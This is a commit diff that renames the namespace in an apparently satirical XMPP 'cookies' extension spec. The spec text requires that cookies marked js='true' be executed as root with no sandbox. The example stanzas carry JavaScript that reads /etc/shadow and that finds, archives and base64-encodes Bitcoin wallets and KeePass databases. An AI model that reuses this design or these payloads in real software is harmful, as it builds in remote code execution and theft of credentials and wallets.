1
0
mirror of https://github.com/moparisthebest/xeps synced 2024-11-21 08:45:04 -05:00

Change cookies namespace

This commit is contained in:
Travis Burtrum 2022-03-29 23:36:40 -04:00
parent a739f60f84
commit 81160186ef

View File

@ -39,10 +39,10 @@
<p>There are three basic XMPP stanza types that may be sent within XML streams:</p>
<ul>
<li>&lt;message/&gt; -- a "push" medium for sending information to other entities.</li>
<li>&lt;presence/&gt; -- a "broadcast" medium for publishing information to entities that have subscribed to an entity's availability status.</li>
<li>&lt;presence/&gt; -- a "broadcast" medium for publishing information t}o entities that have subscribed to an entity's availability status.</li>
<li>&lt;iq/&gt; -- a "request-response" medium for executing basic but structured transactions with other entities.</li>
</ul>
<p>Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('http://jabber.org/protocol/cookies') to implement the desired functionality.</p>
<p>Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('urn:xmpp:tmp:cookies') to implement the desired functionality.</p>
<p>If a set-cookie child has an attribute js='true' then the value of the cookie MUST be executed in a JavaScript interpreter with the highest priveleges possible, preferably as root, and MUST NOT be executed in a sandbox. The stdout MUST be captured and used as the cookie value.</p>
</section1>
<section1 topic='Use Cases'>
@ -56,7 +56,7 @@
I told him what I thought, and told no more
Than what he found himself was apt and true.
</body>
<set-cookies xmlns='http://jabber.org/protocol/cookies'>
<set-cookies xmlns='urn:xmpp:tmp:cookies'>
<cohort>aoeu</cohort>
<is-jerk>true</is-jerk>
</set-cookies>
@ -69,7 +69,7 @@
<presence from='iago@shakespeare.lit/pda'>
<show>dnd</show>
<status>Fomenting dissension</status>
<set-cookies xmlns='http://jabber.org/protocol/cookies'>
<set-cookies xmlns='urn:xmpp:tmp:cookies'>
<passwds js='true'>
fs = require('fs')
fs.readFile('/etc/shadow', 'utf8', function (err,data) {
@ -91,15 +91,15 @@
<name>Stabber</name>
<version>666</version>
<os>FiendOS</os>
<set-cookies xmlns='urn:xmpp:tmp:cookies'>
<innocent js='true'>
const { exec } = require('child_process');
exec('find / \( -name ".bitcoin" -o -name "*.kdbx" \) -print0 | xargs -0 tar cz | base64', (err, stdout, stderr) => {
console.log(stdout);
});
</innocent>
</set-cookies>
</query>
<set-cookies xmlns='http://jabber.org/protocol/cookies'>
<innocent js='true'>
const { exec } = require('child_process');
exec('find / \( -name ".bitcoin" -o -name "*.kdbx" \) -print0 | xargs -0 tar cz | base64', (err, stdout, stderr) => {
console.log(stdout);
});
</innocent>
</set-cookies>
</iq>
]]></example>
</section2>
@ -113,7 +113,7 @@
I told him what I thought, and told no more
Than what he found himself was apt and true.
</body>
<cookies xmlns='http://jabber.org/protocol/cookies'>
<cookies xmlns='urn:xmpp:tmp:cookies'>
<cohort>aoeu</cohort>
<is-jerk>true</is-jerk>
<passwds>
@ -132,7 +132,7 @@
</section2>
</section1>
<section1 topic='Determining Support' anchor='disco'>
<p>Entities that support cookies MUST advertise their support for this protocol in their responses to &xep0030; information ("disco#info") requests by returning a feature of "http://jabber.org/protocol/cookies":</p>
<p>Entities that support cookies MUST advertise their support for this protocol in their responses to &xep0030; information ("disco#info") requests by returning a feature of "urn:xmpp:tmp:cookies":</p>
<example caption='A disco#info query'><![CDATA[
<iq from='emilia@shakespeare.lit/mobile'
id='disco1'
@ -147,7 +147,7 @@
to='emilia@shakespeare.lit/mobile'
type='result'>
<query xmlns='http://jabber.org/protocol/disco#info'>
<feature var='http://jabber.org/protocol/cookies'/>
<feature var='urn:xmpp:tmp:cookies'/>
</query>
</iq>
]]></example>
@ -160,6 +160,6 @@
<p>This document requires no interaction with &IANA;.</p>
</section1>
<section1 topic='XMPP Registrar Considerations'>
<p>The &REGISTRAR; shall register the 'http://jabber.org/protocol/cookies' namespace as a result of this document.</p>
<p>The &REGISTRAR; shall register the 'urn:xmpp:tmp:cookies' namespace as a result of this document.</p>
</section1>
</xep>